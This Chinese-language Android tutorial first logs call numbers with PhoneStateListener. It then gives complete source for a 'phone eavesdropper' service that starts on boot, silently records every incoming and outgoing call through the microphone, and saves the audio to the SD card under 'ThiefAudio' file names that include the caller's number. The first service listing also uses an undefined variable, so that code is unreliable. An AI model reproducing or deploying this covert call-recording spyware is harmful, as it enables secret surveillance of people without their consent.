电话服务
对电话进行监听：
1.使用getSystemService()方法可以取得Context.TELEPHONY_SERVICE服务，取得的服务对象类型为android.telephony.TelephonyManager.
Listen()方法是比较重要的一个方法，通过此方法可以绑定一个PhoneStateListener类的对象，以完成对电话各个状态的监听，在此类中，主要是通过onCallStateChanged()方法进行来、去电的监听处理。方法：
public void onCallStateChanged(int state,String incomingNumber)；【state：判断电话的操作状态，；incomingNumber:拨入的电话号码】

（1）定义电话监听服务---PhoneServicepublic class PhoneService extends Service {    private TelephonyManager telephony = null;    @Override    public void onCreate() { // 服务创建的时候操作        super.onCreate();        this.telephony = (TelephonyManager) super                .getSystemService(Context.TELEPHONY_SERVICE);        this.telephony.listen(new PhoneStateListenerImpl(),                PhoneStateListener.LISTEN_CALL_STATE); // 设置监听操作    }    private class PhoneStateListenerImpl extends PhoneStateListener {        @Override        public void onCallStateChanged(int state, String incomingNumber) {            switch (state) {            case TelephonyManager.CALL_STATE_IDLE: // 没有拨入或拨出电话状态                break;            case TelephonyManager.CALL_STATE_RINGING: // 领音响起                System.out.println("拨入电话号码："                        + incomingNumber                        + "，拨入时间："                        + new SimpleDateFormat("yyyy-MM-dd HH:mm:ss")                                .format(new Date()));//后台输出                break;            case TelephonyManager.CALL_STATE_OFFHOOK: // 接听电话System.out.println("拨出电话号码："                        + outgoingNumber                        + "，拨出时间："                        + new SimpleDateFormat("yyyy-MM-dd HH:mm:ss")                                .format(new Date()));//后台输出                break;            }        }    }    @Override    public IBinder onBind(Intent intent) {        return null;    }}

（2）定义电话服务的广播接收器----PhoneBroadcastReceiverpublic class PhoneBroadcastReceiver extends BroadcastReceiver {    @Override    public void onReceive(Context context, Intent intent) {        if (Intent.ACTION_NEW_OUTGOING_CALL.equals(intent.getAction())) { // 去电            String outgoingNumber = intent                    .getStringExtra(Intent.EXTRA_PHONE_NUMBER); // 去电号码            Intent pit = new Intent(context, PhoneService.class);            pit.putExtra("outgoingNumber", outgoingNumber);//保存去电号码            context.startService(pit);//启动Service        } else { // 来电    context.startService(new Intent(context, PhoneService.class));// 启动Service        }    }}

（3）权限配置<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android"    package="org.lxh.demo" android:versionCode="1" android:versionName="1.0">    <uses-sdk android:minSdkVersion="10" />    <uses-permission android:name="android.permission.READ_PHONE_STATE" />    <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />    <application android:icon="@drawable/icon" android:label="@string/app_name">        <activity android:name=".MyPhoneDemo" android:label="@string/app_name">            <intent-filter>                <action android:name="android.intent.action.MAIN" />                <category android:name="android.intent.category.LAUNCHER" />            </intent-filter>        </activity>        <service android:name=".PhoneService" />        <receiver android:name=".PhoneBroadcastReceiver">            <intent-filter>                <action android:name="android.intent.action.NEW_OUTGOING_CALL" />                <action android:name="android.intent.action.BOOT_COMPLETED" />                <action android:name="android.intent.action.PHONE_STATE" />            </intent-filter>        </receiver>    </application></manifest>

发现你的私人秘密：电话窃听器

（1）定义完成录音操作的工具类—RecodAudioUtilpublic class RecordAudioUtil {    private MediaRecorder mediaRecorder = null;//录音工具类    private String recDir = "theifaudio";    private File recordAudioSaveFileDir = null;    private boolean sdcardExists = false;    private boolean isRecord = false;    private String phoneNumber = null; // 电话号码    private String callType = null; // 呼叫类型    public RecordAudioUtil(String phoneNumber, String callType) {        this.phoneNumber = phoneNumber;        this.callType = callType;        if ((this.sdcardExists = Environment.getExternalStorageState().equals(                Environment.MEDIA_MOUNTED))) {            this.recordAudioSaveFileDir = new File(Environment                    .getExternalStorageDirectory().toString()                    + File.separator                    + this.recDir + File.separator);            if (!this.recordAudioSaveFileDir.exists()) {                this.recordAudioSaveFileDir.mkdirs();            }        }    }    public File record() { // 进行电话的录音，同时返回文件的路径        File recordAudioSaveFile = null;        String recordAudioSaveFileName = null;        if (this.sdcardExists) { // sd卡存在            recordAudioSaveFileName = this.recordAudioSaveFileDir.toString()                    + File.separator                    + "ThiefAudio_"                    + new SimpleDateFormat("yyyyMMddhhmmssSSS")                            .format(new Date()) + "_" + this.callType + "_"                    + this.phoneNumber + ".3gp";            recordAudioSaveFile = new File(recordAudioSaveFileName);            this.mediaRecorder = new MediaRecorder();            this.mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);            this.mediaRecorder                    .setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);            this.mediaRecorder                    .setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);            this.mediaRecorder.setOutputFile(recordAudioSaveFileName);            try {                this.mediaRecorder.prepare();            } catch (Exception e) {                e.printStackTrace() ;            }            this.mediaRecorder.start();            this.isRecord = true;        }        return recordAudioSaveFile;    }    public void stop() {        if (this.isRecord) {            this.mediaRecorder.stop();            this.mediaRecorder.reset() ;            this.mediaRecorder.release();        }    }}

（2）修改通话操作的服务类---PhoneServicepublic class PhoneService extends Service {    private TelephonyManager telephony = null;    private String outgoingNumber = null;    private RecordAudioUtil raUtil = null;    @Override    public void onCreate() { // 服务创建的时候操作        super.onCreate();        this.telephony = (TelephonyManager) super                .getSystemService(Context.TELEPHONY_SERVICE);        this.telephony.listen(new PhoneStateListenerImpl(),                PhoneStateListener.LISTEN_CALL_STATE); // 设置监听操作    }    @Override    public void onStart(Intent intent, int startId) {        this.outgoingNumber = intent.getStringExtra("outgoingNumber");        super.onStart(intent, startId);    }    private class PhoneStateListenerImpl extends PhoneStateListener {        @Override        public void onCallStateChanged(int state, String incomingNumber) {            switch (state) {            case TelephonyManager.CALL_STATE_IDLE: // 挂断电话                if (PhoneService.this.raUtil != null) { // 保险                    PhoneService.this.raUtil.stop();                    PhoneService.this.raUtil = null;                }                break;            case TelephonyManager.CALL_STATE_RINGING: // 领音响起                PhoneService.this.raUtil = new RecordAudioUtil(incomingNumber,                        "拨入电话");                PhoneService.this.raUtil.record();                break;            case TelephonyManager.CALL_STATE_OFFHOOK: // 接听电话                PhoneService.this.raUtil = new RecordAudioUtil(                        PhoneService.this.outgoingNumber, "拨出电话");                PhoneService.this.raUtil.record();                break;            }        }    }    @Override    public IBinder onBind(Intent intent) {        return null;    }}

（3）PhoneBroadcastReceiver类public class PhoneBroadcastReceiver extends BroadcastReceiver {    @Override    public void onReceive(Context context, Intent intent) {        if (Intent.ACTION_NEW_OUTGOING_CALL.equals(intent.getAction())) { // 去电            String outgoingNumber = intent                    .getStringExtra(Intent.EXTRA_PHONE_NUMBER); // 去电号码            Intent pit = new Intent(context, PhoneService.class);            pit.putExtra("outgoingNumber", outgoingNumber);            context.startService(pit);        } else { // 来电            context.startService(new Intent(context, PhoneService.class));        }    }}
